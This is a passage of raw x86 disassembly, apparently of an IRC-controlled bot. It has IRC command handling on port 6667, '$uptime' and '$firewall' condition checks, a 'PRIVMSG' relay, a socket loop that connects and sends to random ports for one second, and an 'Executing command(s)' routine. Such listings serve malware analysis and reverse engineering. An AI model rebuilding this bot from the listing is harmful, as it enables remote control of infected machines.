sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC00 push 3B7h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE00 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE00 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE00 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE00 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE00 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE00 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B7h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree_0 ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B7h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree_0 ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E974 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E868 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE00 push offset byte_41E6E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch 